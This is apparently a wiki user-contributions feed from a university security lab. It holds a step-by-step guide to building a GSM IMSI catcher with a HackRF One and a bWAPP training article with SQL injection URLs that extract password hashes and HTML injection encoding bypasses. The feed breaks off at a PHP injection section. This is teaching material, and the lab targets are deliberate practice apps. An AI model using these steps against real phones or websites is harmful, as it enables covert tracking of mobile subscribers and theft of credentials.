<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=MBoysen</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=MBoysen"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/MBoysen"/>
	<updated>2026-09-10T15:31:05Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=GSM_IMSI-Catcher&amp;diff=11570</id>
		<title>GSM IMSI-Catcher</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=GSM_IMSI-Catcher&amp;diff=11570"/>
		<updated>2023-02-28T22:38:48Z</updated>

		<summary type="html">&lt;p&gt;MBoysen: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article explains how to build an GSM IMSI-Catcher with the SDR called HackRF One.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 20.04 LTS (Focal Fossa)!&lt;br /&gt;
* Packages: git, Wireshark&lt;br /&gt;
* SDR HackRF One&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Installation of the necessary tools ===&lt;br /&gt;
(Do not use any other OS than Ubuntu 20.04 LTS (Focal Fossa)!!!)&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 git clone https://github.com/Oros42/IMSI-catcher.git&lt;br /&gt;
 cd IMSI-catcher&lt;br /&gt;
&lt;br /&gt;
 sudo apt install python3-numpy python3-scipy python3-scapy&lt;br /&gt;
&lt;br /&gt;
 sudo apt-get install -y \&lt;br /&gt;
    cmake \&lt;br /&gt;
    autoconf \&lt;br /&gt;
    libtool \&lt;br /&gt;
    pkg-config \&lt;br /&gt;
    build-essential \&lt;br /&gt;
    python-docutils \&lt;br /&gt;
    libcppunit-dev \&lt;br /&gt;
    swig \&lt;br /&gt;
    doxygen \&lt;br /&gt;
    liblog4cpp5-dev \&lt;br /&gt;
    gnuradio-dev \&lt;br /&gt;
    gr-osmosdr \&lt;br /&gt;
    libosmocore-dev \&lt;br /&gt;
    liborc-0.4-dev \&lt;br /&gt;
    swig&lt;br /&gt;
&lt;br /&gt;
 git clone -b maint-3.8 https://github.com/velichkov/gr-gsm.git&lt;br /&gt;
&lt;br /&gt;
 cd gr-gsm&lt;br /&gt;
 mkdir build&lt;br /&gt;
 cd build&lt;br /&gt;
 cmake ..&lt;br /&gt;
 make -j 4&lt;br /&gt;
 sudo make install&lt;br /&gt;
 sudo ldconfig&lt;br /&gt;
 echo &#039;export PYTHONPATH=/usr/local/lib/python3/dist-packages/:$PYTHONPATH&#039; &amp;gt;&amp;gt; ~/.bashrc&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== IMSI-catching in action ===&lt;br /&gt;
&lt;br /&gt;
Now that all necessary tools are installed, first thing to do is connect the HackRF One to the Computer, in case you are using a VM ensure that you mounted your USB device to the VM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It is recommended do start each tool in separate terminals!&lt;br /&gt;
&lt;br /&gt;
First start&lt;br /&gt;
&lt;br /&gt;
 grgsm_scanner&lt;br /&gt;
[[File:IMSI-Catcher1.png]]&lt;br /&gt;
&lt;br /&gt;
grgsm_scanner is used to perform a GSM frequency channel scan to identify active frequencies in a given area.&lt;br /&gt;
This should now list the active frequencies that can be received at the current location.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then start grgsm_livemon with one of the frequencies that has just been discovered in the previous step.&lt;br /&gt;
&lt;br /&gt;
 grgsm_livemon -f &amp;lt;Frequency scanned with grgsm_scanner&amp;gt;&lt;br /&gt;
[[File:IMSI-Catcher2.png]]&lt;br /&gt;
&lt;br /&gt;
grgsm_livemon is used for capturing and analyzing GSM signals in a specific frequency band using a software-defined radio (SDR) in this case the HackRF One.&lt;br /&gt;
This should now open a GUI displaying the scanner and the terminal should show incoming Hex values received by the SDR.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next up is the simple_IMSI-catcher.py this is a handy script which takes the incoming radio stream from grgsm_livemon and decodes and extracts the most important information.&lt;br /&gt;
 sudo python3 simple_IMSI-catcher.py -s&lt;br /&gt;
[[File:IMSI-Catcher4.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It list all the information in a nicely formatted table. This could take a minute until something is displayed. If there are issues with the scrip not displaying anything simple restart &lt;br /&gt;
a) the script &lt;br /&gt;
b) livemon &lt;br /&gt;
c) both &lt;br /&gt;
or pick an other frequency.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is one extra step that can be done to display extra information, for that enter:&lt;br /&gt;
 sudo wireshark -k -Y &#039;!icmp &amp;amp;&amp;amp; gsmtap&#039; -i lo&lt;br /&gt;
&lt;br /&gt;
[[File:IMSI-Catcher3.png]]&lt;br /&gt;
&lt;br /&gt;
This command captures GSM TAP protocol packets on the loopback interface using Wireshark, excluding ICMP packets. The GSMTAP protocol is a format used for capturing GSM protocol messages over the air interface. It is a simple protocol that encapsulates GSM protocol messages inside a UDP packet.&lt;br /&gt;
&lt;br /&gt;
Now it should list all gsmtap protocol packets in real time giving more information about the transmission over the connected SDR.&lt;br /&gt;
&lt;br /&gt;
=== Glossary ===&lt;br /&gt;
&lt;br /&gt;
ARFCN: The Absolute Radio Frequency Channel Number, which is used to identify the specific frequency used by a particular channel. This number is assigned by the network operator and is used to differentiate between different channels.&lt;br /&gt;
&lt;br /&gt;
Freq: The center frequency used by the channel, measured in megahertz (MHz).&lt;br /&gt;
&lt;br /&gt;
CID: The Cell IDentifier, which is a unique identifier for the specific cell (or base station) that is providing service on this channel. A value of 0 indicates that the CID is not available or not applicable.&lt;br /&gt;
&lt;br /&gt;
LAC: Location Area Code, is the unique number given to each location area within the network. The served area of a cellular radio access network is usually divided into location areas, consisting of one or several radio cells. The LAC is used as a unique reference for the location of a mobile subscriber. This code is necessary to address the subscriber in the case of an incoming call.&lt;br /&gt;
&lt;br /&gt;
MCC: Mobile Country Code, a unique identifier identifying the home country of a Mobile network operator. It is a three-digit identification of the country. The MCC is especially relevant for determining the country of inbound roamers.&lt;br /&gt;
&lt;br /&gt;
MNC: The Mobile Network Code, which is a two- or three-digit code used to identify the specific network operator within the country identified by the MCC.&lt;br /&gt;
&lt;br /&gt;
Pwr: The signal strength or power level of the channel, measured in decibels relative to one milliwatt (dBm). The less negative a value indicates the stronger the signal.&lt;br /&gt;
&lt;br /&gt;
IMSI: An IMSI (International Mobile Subscriber Identity) is a unique identification number assigned to a mobile device&#039;s SIM card, and it does not contain any information about the user&#039;s personal identity, such as name or address. However, mobile network operators use IMSI numbers to associate a mobile device with a subscriber&#039;s account, which can contain personal information such as the subscriber&#039;s name, billing address, and payment details. It is used to identify and authenticate the user on the mobile network.&lt;br /&gt;
&lt;br /&gt;
TMSI: TMSI stands for Temporary Mobile Subscriber Identity. It is a temporary identifier assigned to a mobile device by a cellular network. The TMSI is used as a substitute for the IMSI (International Mobile Subscriber Identity) in order to protect the privacy of the user. When a mobile device first connects to a cellular network, it sends its IMSI to the network, which assigns a TMSI to the device. The TMSI is then used instead of the IMSI for subsequent communications between the device and the network. This helps to prevent eavesdropping and other security threats by making it more difficult to track a specific device. The TMSI is updated periodically by the network, and can also be updated by the device if it detects that its TMSI has been compromised.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[HackRF One Software Defined Radio (SDR)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
https://github.com/velichkov/gr-gsm.git&lt;br /&gt;
https://github.com/Oros42/IMSI-catcher&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MBoysen</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:IMSI-Catcher4.png&amp;diff=11569</id>
		<title>File:IMSI-Catcher4.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:IMSI-Catcher4.png&amp;diff=11569"/>
		<updated>2023-02-28T22:23:04Z</updated>

		<summary type="html">&lt;p&gt;MBoysen: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>MBoysen</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:IMSI-Catcher3.png&amp;diff=11568</id>
		<title>File:IMSI-Catcher3.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:IMSI-Catcher3.png&amp;diff=11568"/>
		<updated>2023-02-28T22:22:16Z</updated>

		<summary type="html">&lt;p&gt;MBoysen: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>MBoysen</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:IMSI-Catcher2.png&amp;diff=11567</id>
		<title>File:IMSI-Catcher2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:IMSI-Catcher2.png&amp;diff=11567"/>
		<updated>2023-02-28T22:21:01Z</updated>

		<summary type="html">&lt;p&gt;MBoysen: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>MBoysen</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:IMSI-Catcher1.png&amp;diff=11566</id>
		<title>File:IMSI-Catcher1.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:IMSI-Catcher1.png&amp;diff=11566"/>
		<updated>2023-02-28T22:19:48Z</updated>

		<summary type="html">&lt;p&gt;MBoysen: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>MBoysen</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=GSM_IMSI-Catcher&amp;diff=11516</id>
		<title>GSM IMSI-Catcher</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=GSM_IMSI-Catcher&amp;diff=11516"/>
		<updated>2023-02-26T22:35:59Z</updated>

		<summary type="html">&lt;p&gt;MBoysen: Created page with &amp;quot;== Summary ==   This article explains how to build an GSM IMSI-Catcher with the SDR called HackRF One.  == Requirements ==  * Operating system: Ubuntu 20.04 LTS (Focal Fossa)! * Packages: git, Wireshark * SDR HackRF One  == Description ==  === Installation of the necessary tools === (Do not use any other OS than Ubuntu 20.04 LTS (Focal Fossa)!!!)  Enter these commands in the shell   git clone https://github.com/Oros42/IMSI-catcher.git  cd IMSI-catcher   sudo apt install...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article explains how to build an GSM IMSI-Catcher with the SDR called HackRF One.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 20.04 LTS (Focal Fossa)!&lt;br /&gt;
* Packages: git, Wireshark&lt;br /&gt;
* SDR HackRF One&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Installation of the necessary tools ===&lt;br /&gt;
(Do not use any other OS than Ubuntu 20.04 LTS (Focal Fossa)!!!)&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 git clone https://github.com/Oros42/IMSI-catcher.git&lt;br /&gt;
 cd IMSI-catcher&lt;br /&gt;
&lt;br /&gt;
 sudo apt install python3-numpy python3-scipy python3-scapy&lt;br /&gt;
&lt;br /&gt;
 sudo apt-get install -y \&lt;br /&gt;
    cmake \&lt;br /&gt;
    autoconf \&lt;br /&gt;
    libtool \&lt;br /&gt;
    pkg-config \&lt;br /&gt;
    build-essential \&lt;br /&gt;
    python-docutils \&lt;br /&gt;
    libcppunit-dev \&lt;br /&gt;
    swig \&lt;br /&gt;
    doxygen \&lt;br /&gt;
    liblog4cpp5-dev \&lt;br /&gt;
    gnuradio-dev \&lt;br /&gt;
    gr-osmosdr \&lt;br /&gt;
    libosmocore-dev \&lt;br /&gt;
    liborc-0.4-dev \&lt;br /&gt;
    swig&lt;br /&gt;
&lt;br /&gt;
 git clone -b maint-3.8 https://github.com/velichkov/gr-gsm.git&lt;br /&gt;
&lt;br /&gt;
 cd gr-gsm&lt;br /&gt;
 mkdir build&lt;br /&gt;
 cd build&lt;br /&gt;
 cmake ..&lt;br /&gt;
 make -j 4&lt;br /&gt;
 sudo make install&lt;br /&gt;
 sudo ldconfig&lt;br /&gt;
 echo &#039;export PYTHONPATH=/usr/local/lib/python3/dist-packages/:$PYTHONPATH&#039; &amp;gt;&amp;gt; ~/.bashrc&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== IMSI catching in action ===&lt;br /&gt;
&lt;br /&gt;
Now that all necessary tools are installed, first thing to do is connect the HackRF One to the Computer, in case you are using a VM ensure that you mounted your USB device to the VM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It is recommended do start each tool in separate terminals!&lt;br /&gt;
&lt;br /&gt;
First start&lt;br /&gt;
&lt;br /&gt;
 grgsm_scanner&lt;br /&gt;
grgsm_scanner is used to perform a GSM frequency channel scan to identify active frequencies in a given area.&lt;br /&gt;
&lt;br /&gt;
This should now list the active frequencies that can be received at the current location.&lt;br /&gt;
&lt;br /&gt;
Then start grgsm_livemon with one of the frequencies that has just been discovered in the previous step.&lt;br /&gt;
&lt;br /&gt;
 grgsm_livemon -f &amp;lt;Frequency scanned with grgsm_scanner&amp;gt;&lt;br /&gt;
grgsm_livemon is used for capturing and analyzing GSM signals in a specific frequency band using a software-defined radio (SDR) in this case the HackRF One.&lt;br /&gt;
&lt;br /&gt;
This should now open a GUI displaying the scanner and the terminal should show incoming Hex values received by the SDR.&lt;br /&gt;
&lt;br /&gt;
Next up is the simple_IMSI-catcher.py this is a handy script which takes the incoming radio stream from grgsm_livemon and decodes and extracts the most important information. It list all the information in a nicely formatted table. This could take a minute until something is displayed. If there are issues with the scrip not displaying anything simple restart &lt;br /&gt;
a) the script &lt;br /&gt;
b) livemon &lt;br /&gt;
c) both &lt;br /&gt;
or pick an other frequency.&lt;br /&gt;
&lt;br /&gt;
There is one extra step that can be done to display extra information, for that enter:&lt;br /&gt;
 sudo wireshark -k -Y &#039;!icmp &amp;amp;&amp;amp; gsmtap&#039; -i lo&lt;br /&gt;
This command captures GSM TAP protocol packets on the loopback interface using Wireshark, excluding ICMP packets. The GSMTAP protocol is a format used for capturing GSM protocol messages over the air interface. It is a simple protocol that encapsulates GSM protocol messages inside a UDP packet.&lt;br /&gt;
&lt;br /&gt;
Now it should list all gsmtap protocol packets in real time giving more information about the transmission over the connected SDR.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[HackRF One Software Defined Radio (SDR)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
https://github.com/velichkov/gr-gsm.git&lt;br /&gt;
https://github.com/Oros42/IMSI-catcher&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MBoysen</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=10616</id>
		<title>BWAPP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=10616"/>
		<updated>2023-01-05T16:25:54Z</updated>

		<summary type="html">&lt;p&gt;MBoysen: /* Cross-Site Scripting (XSS) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;bWAPP is the abbreviation for &amp;quot;buggy web application&amp;quot; and it&#039;s a deliberately insecure web application [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]] which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
bWAPP is a free PHP application that uses a MySQL database. The web service is provided by Linux or Windows with Apache or IIS. It&#039;s also supported by WAMP and XAMPP to use a local webserver.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP architectur.PNG||200px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
You can also download bee-box, this is a virtual machine with bWAPP included.[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
[[File:BWAPP1Start.PNG|300px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, follow these steps:&lt;br /&gt;
* On the official homepage of ITSEC Games-Project [http://www.itsecgames.com/] you can download bWAPP. Extract the ZIP file to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:OfficialWebsite bWAPP.png|500px|center]]&lt;br /&gt;
*The password is deleted from the PHP file “setting.php”&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP PHPfile with password.png|left]]&lt;br /&gt;
[[File:BWAPP PHPfile without password.png|right]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel&amp;lt;/br&amp;gt;&lt;br /&gt;
*Open “localhost / bwapp / install.php” via the browser and then click on &amp;quot;here&amp;quot;. If the installation was successful, this will also be communicated with a short message.&amp;lt;/br&amp;gt;&lt;br /&gt;
*Now bWAPP has been successfully installed. Enter /localhost/bwapp/ in any browser and a login form appears. &lt;br /&gt;
**Username is “bee” &lt;br /&gt;
**Password is “bug”.&lt;br /&gt;
*User is logged in now and can play around with the application.&lt;br /&gt;
[[File:BWAPP installed and ready to use.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.&amp;lt;/br&amp;gt;&lt;br /&gt;
*If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP SQLInjection.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*By entering any terms into the search field (e.g. &amp;quot;man&amp;quot;), it&#039;s possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.&lt;br /&gt;
[[File:BWAPP withsearch.PNG|500px|center]]&lt;br /&gt;
[[File:BWAPP nosearch.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.&lt;br /&gt;
[[File:BWAPP error.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*By visualizing the columns, you can get the information such as the name or/and the version of the database&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.&lt;br /&gt;
[[File:BWAPP hash.PNG|500px|center]]&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;br /&gt;
&lt;br /&gt;
== HTML injection ==&lt;br /&gt;
HTML injection is a technique used to take advantage of non-validated input to modify a web page presented by a web application to its users &amp;lt;ref&amp;gt;Imperva, &#039;&#039;HTML Injection&#039;&#039;, accessed on: 26.01.2022. [Online]. Available: https://www.imperva.com/learn/application-security/html-injection/&amp;lt;/ref&amp;gt;. To prevent it, user input must be sanitized. Let&#039;s look at it in the bWAPP. We have different security levels here, and depending on the security level, the injection gets easier/harder. This is because different input sanitization is applied. Let&#039;s first have a look at bWAPP&#039;s [https://github.com/theand-fork/bwapp-code source code] &amp;lt;ref&amp;gt;bWAPP Github, &#039;&#039;htmli_get.php&#039;&#039;,accessed on: 26.01.2022. [Online]. Available: https://github.com/theand-fork/bwapp-code/blob/master/bWAPP/htmli_get.php&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 switch($_COOKIE[&amp;quot;security_level&amp;quot;])&lt;br /&gt;
    {&lt;br /&gt;
        case &amp;quot;0&amp;quot; : &lt;br /&gt;
            //LOW&lt;br /&gt;
            $data = no_check($data);            &lt;br /&gt;
            break;&lt;br /&gt;
        &lt;br /&gt;
        case &amp;quot;1&amp;quot; :&lt;br /&gt;
            &lt;br /&gt;
            $data = xss_check_1($data);&lt;br /&gt;
            break;&lt;br /&gt;
        &lt;br /&gt;
        case &amp;quot;2&amp;quot; :            &lt;br /&gt;
                       &lt;br /&gt;
            $data = xss_check_3($data);            &lt;br /&gt;
            break;&lt;br /&gt;
        &lt;br /&gt;
        default : &lt;br /&gt;
            &lt;br /&gt;
            $data = no_check($data);            &lt;br /&gt;
            break;   &lt;br /&gt;
    }       &lt;br /&gt;
&amp;lt;b&amp;gt;Low security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 function no_check($data)&lt;br /&gt;
 {    &lt;br /&gt;
    return $data;  &lt;br /&gt;
 }&lt;br /&gt;
There is no input sanitization at all - whatever the user enters in accepted. When we choose the &amp;lt;b&amp;gt;HTML injection - Reflected (GET)&amp;lt;/b&amp;gt; exploit in the bWAPP, and insert a vulnerable string with bold HTML tags, we get the following result:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp1.png|thumb|none|500px|Output can be seen below the input fields as &amp;quot;hello &amp;lt;b&amp;gt;world&amp;lt;/b&amp;gt;&amp;quot;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Medium security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 function xss_check_1($data)&lt;br /&gt;
 {&lt;br /&gt;
    &lt;br /&gt;
    // Converts only &amp;quot;&amp;lt;&amp;quot; and &amp;quot;&amp;gt;&amp;quot; to HTLM entities    &lt;br /&gt;
    $input = str_replace(&amp;quot;&amp;lt;&amp;quot;, &amp;quot;&amp;amp;lt;&amp;quot;, $data);&lt;br /&gt;
    $input = str_replace(&amp;quot;&amp;gt;&amp;quot;, &amp;quot;&amp;amp;gt;&amp;quot;, $input);&lt;br /&gt;
    &lt;br /&gt;
    // Failure is an option&lt;br /&gt;
    // Bypasses double encoding attacks   &lt;br /&gt;
    // &amp;lt;script&amp;gt;alert(0)&amp;lt;/script&amp;gt;&lt;br /&gt;
    // %3Cscript%3Ealert%280%29%3C%2Fscript%3E&lt;br /&gt;
    // %253Cscript%253Ealert%25280%2529%253C%252Fscript%253E&lt;br /&gt;
    $input = urldecode($input);&lt;br /&gt;
    &lt;br /&gt;
    return $input;&lt;br /&gt;
    &lt;br /&gt;
 }&lt;br /&gt;
There is some input sanitization - the tags will be converted to HTML entities. Now when we enter the same string as before, we get the following result:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp2.png|thumb|none|500px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
To bypass this, we need to URL encode the input directly, so that we don&#039;t pass the HTML tags directly. The URL encoding of &amp;lt;b&amp;gt;world&amp;lt;/b&amp;gt; is %3Cb%3Eworld%3C%2Fb%3E , which we now enter to the input field, resulting in the following output:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp3.png|thumb|none|500px| Result of medium security level, entering URL encoded &amp;lt;b&amp;gt;world&amp;lt;/b&amp;gt;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;High security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This utilizes the following method for input sanitization:&lt;br /&gt;
 function xss_check_3($data, $encoding = &amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
 {&lt;br /&gt;
    // htmlspecialchars - converts special characters to HTML entities    &lt;br /&gt;
    // &#039;&amp;amp;&#039; (ampersand) becomes &#039;&amp;amp;amp;&#039; &lt;br /&gt;
    // &#039;&amp;quot;&#039; (double quote) becomes &#039;&amp;amp;quot;&#039; when ENT_NOQUOTES is not set&lt;br /&gt;
    // &amp;quot;&#039;&amp;quot; (single quote) becomes &#039;&amp;amp;#039;&#039; (or &amp;amp;apos;) only when ENT_QUOTES is set&lt;br /&gt;
    // &#039;&amp;lt;&#039; (less than) becomes &#039;&amp;amp;lt;&#039;&lt;br /&gt;
    // &#039;&amp;gt;&#039; (greater than) becomes &#039;&amp;amp;gt;&#039;  &lt;br /&gt;
    &lt;br /&gt;
    return htmlspecialchars($data, ENT_QUOTES, $encoding);  &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Now it is very well protected. However, if we could somehow change the browser setting from UTF-8 encoding to UTF-7 this might work. ‘&amp;lt;’, ‘&amp;gt;’, ‘”’ have different code points than UTF-8 so they are not escaped unless convert the output to UTF-8.&lt;br /&gt;
&lt;br /&gt;
== PHP injection ==&lt;br /&gt;
In the URL we can see in which format the message gets sent to the backend. We can now try to insert some commands to extract information from the web application.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
